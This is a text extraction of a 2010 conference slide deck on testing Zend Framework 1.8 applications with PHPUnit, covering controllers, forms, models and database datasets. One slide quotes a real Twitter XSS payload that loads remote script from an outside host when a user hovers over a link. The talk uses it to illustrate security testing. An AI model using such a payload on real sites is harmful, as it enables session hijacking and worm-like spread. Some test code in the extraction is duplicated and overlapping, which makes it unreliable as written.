SlideShare a Scribd company logo
Unit Testing after ZF 1.8
         Michelangelo van Dam
      ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
This session


  What has changed with ZF 1.8 ?
How do we set up our environment ?
 How are we testing controllers ?
   How are we testing forms ?
   How are we testing models ?
New to unit testing ?
phpunit.de




  http://www.phpunit.de
Matthew Weier O’Phinney




   http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi




http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
• bootstrapping an “app”
• works the same for any environment
• resources through methods (no registry)
•- clean separation of tests
     unit tests
 -   controller tests
 -   integration tests (db, web services, …)
Types of tests
Unit Testing
•- smallest functional code snippet (unit)
     function or class method
•- aims to challenge logic
     proving A + B gives C (and not D)
• helpful for refactoring
• essential for bug fixing (is it really a bug ?)
• TDD results in better code
• higher confidence for developers -> managers
Controller Testing
•- tests your (ZF) app
     is this url linked to this controller ?
•- detects early errors
    on front-end (route/page not found)
 - on back-end (database changed, service down, …)
• tests passing back and forth of params
• form validation and filtering
• security testing (XSS, SQL injection, …)
Database Testing
•- tests the functionality of your database
     referred to as “integration testing”
•- checks functionality
   CRUD
 - stored procedures
 - triggers and constraints
• verifies no mystery data changes happen
 - UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Zend Framework Unit Test Demo">
        <directory>./</directory>
    </testsuite>

    <!-- Optional settings for filtering and logging -->
    <filter>
        <whitelist>
             <directory suffix=".php">../library/</directory>
             <directory suffix=".php">../application/</directory>
             <exclude>
                 <directory suffix=".phtml">../application/</directory>
             </exclude>
        </whitelist>
    </filter>

    <logging>
        <log type="coverage-html" target="./log/report" charset="UTF-8"
         yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/>
        <log type="testdox-html" target="./log/testdox.html" />
    </logging>
</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
ControllerTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends
Zend_Test_PHPUnit_ControllerTestCase
{
    protected function setUp()
    {
        // we override the parent::setUp() to solve an issue regarding not
        // finding a default module
    }
}
Directory Strategy
/application                 /tests
    /configs                     /application
    /controllers                     /controllers
    /forms                           /forms
    /models                          /models
    /modules                         /modules
         /guestbook                      /guestbook
             /apis                            /apis
             /controllers                     /controllers
             /forms                           /forms
             /models                          /models
             /views
                  /helpers
                  /filters
                  /scripts
    /views
         /helpers
         /filters
         /scripts
/library
/public
/tests
Testing Controllers
Homepage testing
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase
{
    public function testCanWeDisplayOurHomepage()
    {
        // go to the main page of the web application
        $this->dispatch('/');

        // check if we don't end up on an error page
        $this->assertNotController('error');
        $this->assertNotAction('error');

        // ok, no error so let's see if we're at our homepage
        $this->assertModule('default');
        $this->assertController('index');
        $this->assertAction('index');
        $this->assertResponseCode(200);
    }
}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment




               submit
Simple comment form
<?php
class Application_Form_Comment extends Zend_Form
{
    public function init()
    {
        $this->addElement('text', 'fullName', array (
            'label' => 'Full name', 'required' => true));
        $this->addElement('text', 'emailAddress', array (
            'label' => 'E-mail address', 'required' => true));
        $this->addElement('text', 'website', array (
            'label' => 'Website URL', 'required' => false));
        $this->addElement('textarea', 'comment', array (
            'label' => 'Your comment', 'required' => false));
        $this->addElement('submit', 'send', array (
            'Label' => 'Send', 'ignore' => true));
    }
}
CommentController
<?php
   class CommentController extends Zend_Controller_Action
   {
       protected $_session;

      public function init()
      {
          $this->_session = new Zend_Session_Namespace('comment');
      }

      public function indexAction()
      {
          $form = new Application_Form_Comment(array (
              'action' => $this->_helper->url('send-comment'),
              'method' => 'POST',
          ));
          if (isset ($this->_session->commentForm)) {
              $form = unserialize($this->_session->commentForm);
              unset ($this->_session->commentForm);
          }
          $this->view->form = $form;
      }
  }
Comment processing
<?php
   class CommentController extends Zend_Controller_Action
   {
       …

      public function sendCommentAction()
      {
          $request = $this->getRequest();
          if (!$request->isPost()) {
              return $this->_helper->redirector('index');
          }
          $form = new Application_Form_Comment();
          if (!$form->isValid($request->getPost())) {
              $this->_session->commentForm = serialize($form);
              return $this->_helper->redirector('index');
          }
          $values = $form->getValues();
          $this->view->values = $values;
      }
  }
Views
<!-- file: application/views/scripts/comment/index.phtml -->
  <?php echo $this->form ?>

  <!-- file: application/views/scripts/comment/send-comment.phtml -->
  <dl>
  <?php if (isset ($this->values['website'])): ?>
  <dt id="fullName"><a href="<?php echo $this->escape($this->values
  ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></
  dt>
  <?php else: ?>
  <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt>
  <?php endif; ?>
  <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd>
  </dl>
The Form
Comment processed
And now… testing
Starting simple
<?php
   // file: tests/application/controllers/IndexControllerTest.php
   require_once TEST_PATH . '/ControllerTestCase.php';

   class CommentControllerTest extends ControllerTestCase
   {
       public function testCanWeDisplayOurForm()
       {
           // go to the main comment page of the web application
           $this->dispatch('/comment');

           // check if we don't end up on an error page
           $this->assertNotController('error');
           $this->assertNotAction('error');

           $this->assertModule('default');
           $this->assertController('comment');
           $this->assertAction('index');
           $this->assertResponseCode(200);

           $this->assertQueryCount('form', 1);
                 $this->assertQueryCount('form', 1);
           $this->assertQueryCount('input[type="text"]', 2);

       }
                 $this->assertQueryCount('input[type="text"]', 3);
           $this->assertQueryCount('textarea', 1);

   }             $this->assertQueryCount('textarea', 1);
GET request = index ?
public function testSubmitFailsWhenNotPost()
  {
      $this->request->setMethod('get');
      $this->dispatch('/comment/send-comment');
      $this->assertResponseCode(302);
      $this->assertRedirectTo('/comment');
  }
Can we submit our form ?
public function testCanWeSubmitOurForm()
{
    $this->request->setMethod('post')
                  ->setPost(array (
                    'fullName'      => 'Unit Tester',
                    'emailAddress' => 'test@example.com',
                    'website'       => 'http://www.example.com',
                    'comment'       => 'This is a simple test',
                  ));
    $this->dispatch('/comment/send-comment');

    $this->assertQueryCount('dt', 1);
    $this->assertQueryCount('dd', 1);
    $this->assertQueryContentContains('dt#fullName',
        '<a href="http://www.example.com">Unit Tester</a>');
    $this->assertQueryContentContains('dd#comment', 'This is a simple test');
}
All other cases ?
/**
  * @dataProvider wrongDataProvider
  */
public function testSubmitFailsWithWrongData($fullName, $emailAddress,
$comment)
{
     $this->request->setMethod('post')
                   ->setPost(array (
                     'fullName'      => $fullName,
                     'emailAddress' => $emailAddress,
                     'comment'       => $comment,
                   ));
     $this->dispatch('/comment/send-comment');

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/comment');
}
wrongDataProvider
public function wrongDataProvider()
  {
      return array (
          array ('', '', ''),
          array ('~', 'bogus', ''),
          array ('', 'test@example.com', 'This is correct text'),
          array ('Test User', '', 'This is correct text'),
          array ('Test User', 'test@example.com', str_repeat('a', 50001)),
      );
  }
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports




http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
The exploit


http://t.co/@”style=”font-size:999999999999px;
”onmouseover=”$.getScript(‘http:u002fu002fis.gd
u002ffl9A7′)”/




  http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
• uses core PHPUnit_Framework_TestCase class
• tests your business logic !
• can run independent from other tests
•- model testing !== database testing
     model testing tests the logic in your objects
 -   database testing tests the data storage
Model setUp/tearDown
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase
{
    protected $_gb;

    protected function setUp()
    {
        parent::setUp();
        $this->_gb = new Application_Model_Guestbook();
    }
    protected function tearDown()
    {
        $this->_gb = null;
        parent::tearDown();
    }
    …
}
Simple tests
public function testGuestBookIsEmptyAtConstruct()
{
    $this->assertType('Application_Model_GuestBook', $this->_gb);
    $this->assertFalse($this->_gb->hasEntries());
    $this->assertSame(0, count($this->_gb->getEntries()));
    $this->assertSame(0, count($this->_gb));
}
public function testGuestbookAddsEntry()
{
    $entry = new Application_Model_GuestbookEntry();
    $entry->setFullName('Test user')
          ->setEmailAddress('test@example.com')
          ->setComment('This is a test');

    $this->_gb->addEntry($entry);
    $this->assertTrue($this->_gb->hasEntries());
    $this->assertSame(1, count($this->_gb));
}
GuestbookEntry tests
…
public function gbEntryProvider()
{
    return array (
        array (array (
            'fullName' => 'Test User',
            'emailAddress' => 'test@example.com',
            'website' => 'http://www.example.com',
            'comment' => 'This is a test',
            'timestamp' => '2010-01-01 00:00:00',
        )),
        array (array (
            'fullName' => 'Test Manager',
            'emailAddress' => 'testmanager@example.com',
            'website' => 'http://tests.example.com',
            'comment' => 'This is another test',
            'timestamp' => '2010-01-01 01:00:00',
        )),
    );
}

/**
  * @dataProvider gbEntryProvider
  * @param $data
  */
public function testEntryCanBePopulatedAtConstruct($data)
{
     $entry = new Application_Model_GuestbookEntry($data);
     $this->assertSame($data, $entry->__toArray());
}
…
Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
•- integration testing
   seeing records are getting updated
 - data models behave as expected
 - data doesn't change encoding (UTF-8 to Latin1)
• database behaviour testing
 - CRUD
 - stored procedures
 - triggers
 - master/slave - cluster
 - sharding
Caveats
•- database should be reset in a “known state”
     no influence from other tests
•- system failures cause the test to fail
     connection problems
•- unpredictable data fields or types
     auto increment fields
 -   date fields w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database
<?php
  require_once 'PHPUnit/Framework/TestCase.php';
  class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase
  {
  …
  }

  Becomes

  <?php
  require_once TEST_PATH . '/DatabaseTestCase.php';
  class Application_Model_GuestbookEntryTest extends DatabaseTestCase
  {
  …
  }
DatabaseTestCase.php
<?php
  require_once 'Zend/Application.php';
  require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';
  require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

  abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase
  {
      private $_dbMock;
      private $_application;

      protected function setUp()
      {
          $this->_application = new Zend_Application(
              APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
          $this->bootstrap = array($this, 'appBootstrap');
          parent::setUp();
      }
      …
DatabaseTestCase.php (2)
    …
        public function appBootstrap()
        {
            $this->application->bootstrap();
        }
        protected function getConnection()
        {
            if (null === $this->_dbMock) {
                $bootstrap = $this->application->getBootstrap();
                $bootstrap->bootstrap('db');
                $connection = $bootstrap->getResource('db');
                $this->_dbMock = $this->createZendDbConnection($connection,'in2it');
                Zend_Db_Table_Abstract::setDefaultAdapter($connection);
            }
            return $this->_dbMock;
        }
        protected function getDataSet()
        {
            return $this->createFlatXMLDataSet(
                dirname(__FILE__) . '/_files/initialDataSet.xml');
        }
}
_files/initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
  <dataset>
      <gbentry id="1"
               fullName="Test User"
               emailAddress="test@example.com"
               website="http://www.example.com"
               comment="This is a first test"
               timestamp="2010-01-01 00:00:00"/>
      <gbentry id="2"
               fullName="Obi Wan Kenobi"
               emailAddress="obi-wan@jedi-council.com"
               website="http://www.jedi-council.com"
               comment="May the phporce be with you"
               timestamp="2010-01-01 01:00:00"/>
      <comment id="1" comment= "Good article, thanks"/>
      <comment id="2" comment= "Haha, Obi Wan… liking this very much"/>
      …
  </dataset>
A simple DB test
    public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT * FROM gbentry');
    $dataSet = $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml");
    $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
        $dataSet, array('gbentry' => array('id')));
    $this->assertDataSetsEqual($filteredDataSet, $ds);
}
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing records
public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment,
timestamp FROM gbentry');
    $this->assertDataSetsEqual(
        $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml"),
        $ds
    );
}
Expected resultset
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a first test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-
council.com"
             website="http://www.jedi-council.com" comment="May the phporce
be with you"
             timestamp="2010-01-01 01:00:00"/>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Test Manager" emailAddress="testmanager@example.com"
             website="http://tests.example.com" comment="This is another
test"
             timestamp="2010-01-01 01:00:00"/>
</dataset>
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
                 addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
•- desire
     +70% code coverage
 -   test driven development
 -   clean separation of tests

•- reality
     test what counts first (business logic)
 -   discover the “unknowns” and test them
 -   combine unit tests with integration tests
Automation
•- using a CI system
   continuous running your tests
 - reports immediately when failure
 - provides extra information
  ‣ copy/paste detection
  ‣ mess detection &dependency calculations
  ‣ lines of code
  ‣ code coverage
  ‣ story board and test documentation
  ‣ …
Questions
• http://slideshare.net/DragonBe/unit-testing-after-zf-18
• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe
• http://facebook.com/DragonBe
• http://joind.in/2243
http://conference.phpbenelux.eu

More Related Content

What's hot (20)

11. Java Objects and classes
11. Java  Objects and classes11. Java  Objects and classes
11. Java Objects and classes
 
Java Lambda Expressions.pptx
Java Lambda Expressions.pptxJava Lambda Expressions.pptx
Java Lambda Expressions.pptx
 
025 aunty%20help
025 aunty%20help025 aunty%20help
025 aunty%20help
 
Java Streams
Java StreamsJava Streams
Java Streams
 
Java swing
Java swingJava swing
Java swing
 
Subroutines
SubroutinesSubroutines
Subroutines
 
Magic methods
Magic methodsMagic methods
Magic methods
 
Hiberbate Framework
Hiberbate FrameworkHiberbate Framework
Hiberbate Framework
 
Dependencias funcionales
Dependencias funcionalesDependencias funcionales
Dependencias funcionales
 
Java 8 streams
Java 8 streamsJava 8 streams
Java 8 streams
 
Stored-Procedures-Presentation
Stored-Procedures-PresentationStored-Procedures-Presentation
Stored-Procedures-Presentation
 
Amma koochi
Amma koochiAmma koochi
Amma koochi
 
Object Oriented Programming using JAVA Notes
Object Oriented Programming using JAVA Notes Object Oriented Programming using JAVA Notes
Object Oriented Programming using JAVA Notes
 
Php sessions
Php sessionsPhp sessions
Php sessions
 
Java Generics - by Example
Java Generics - by ExampleJava Generics - by Example
Java Generics - by Example
 
Curso de WebServlets (Java EE 7)
Curso de WebServlets (Java EE 7)Curso de WebServlets (Java EE 7)
Curso de WebServlets (Java EE 7)
 
Php oop presentation
Php   oop presentationPhp   oop presentation
Php oop presentation
 
5. Destructuring | ES6 | Assignment
5. Destructuring | ES6 | Assignment 5. Destructuring | ES6 | Assignment
5. Destructuring | ES6 | Assignment
 
Lecture 18 - Pointers
Lecture 18 - PointersLecture 18 - Pointers
Lecture 18 - Pointers
 
JDBC Java Database Connectivity
JDBC Java Database ConnectivityJDBC Java Database Connectivity
JDBC Java Database Connectivity
 

Viewers also liked

Viewers also liked (20)

PHPUnit testing to Zend_Test
PHPUnit testing to Zend_TestPHPUnit testing to Zend_Test
PHPUnit testing to Zend_Test
 
C++ material
C++ materialC++ material
C++ material
 
software testing
software testingsoftware testing
software testing
 
Data flowtesting doc
Data flowtesting docData flowtesting doc
Data flowtesting doc
 
Stm unit1
Stm unit1Stm unit1
Stm unit1
 
Path testing
Path testingPath testing
Path testing
 
Transactionflow
TransactionflowTransactionflow
Transactionflow
 
Testing
Testing Testing
Testing
 
Path testing
Path testingPath testing
Path testing
 
Taxonomy for bugs
Taxonomy for bugsTaxonomy for bugs
Taxonomy for bugs
 
Unit 3 Control Flow Testing
Unit 3   Control Flow TestingUnit 3   Control Flow Testing
Unit 3 Control Flow Testing
 
Bug taxonomy
Bug taxonomyBug taxonomy
Bug taxonomy
 
Normalization in Database
Normalization in DatabaseNormalization in Database
Normalization in Database
 
Path Testing
Path TestingPath Testing
Path Testing
 
Basis path testing
Basis path testingBasis path testing
Basis path testing
 
Software Testing Techniques
Software Testing TechniquesSoftware Testing Techniques
Software Testing Techniques
 
Testing techniques
Testing techniquesTesting techniques
Testing techniques
 
DBMS - Normalization
DBMS - NormalizationDBMS - Normalization
DBMS - Normalization
 
Databases: Normalisation
Databases: NormalisationDatabases: Normalisation
Databases: Normalisation
 
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NFDatabase Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
 

Similar to Unit testing after Zend Framework 1.8

Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxMichelangelo van Dam
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11Michelangelo van Dam
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Michelangelo van Dam
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Michelangelo van Dam
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastMichelangelo van Dam
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf Conference
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using CodeceptionJeroen van Dijk
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolGordon Forsythe
 
Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Elena Kolevska
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPDan Jesus
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)arcware
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207patter
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkBo-Yi Wu
 
Using and reusing CakePHP plugins
Using and reusing CakePHP pluginsUsing and reusing CakePHP plugins
Using and reusing CakePHP pluginsPierre MARTIN
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Shinya Ohyanagi
 

Similar to Unit testing after Zend Framework 1.8 (20)

Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBenelux
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_Tool
 
Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHP
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
Using and reusing CakePHP plugins
Using and reusing CakePHP pluginsUsing and reusing CakePHP plugins
Using and reusing CakePHP plugins
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
 

More from Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultMichelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functionsMichelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyMichelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageMichelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful businessMichelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me laterMichelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesMichelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heavenMichelangelo van Dam
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your projectMichelangelo van Dam
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsMichelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an apiMichelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the tests
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 

Recently uploaded

Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya Halder
Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya HalderCustom Approval Process: A New Perspective, Pavel Hrbacek & Anindya Halder
Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya HalderCzechDreamin
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
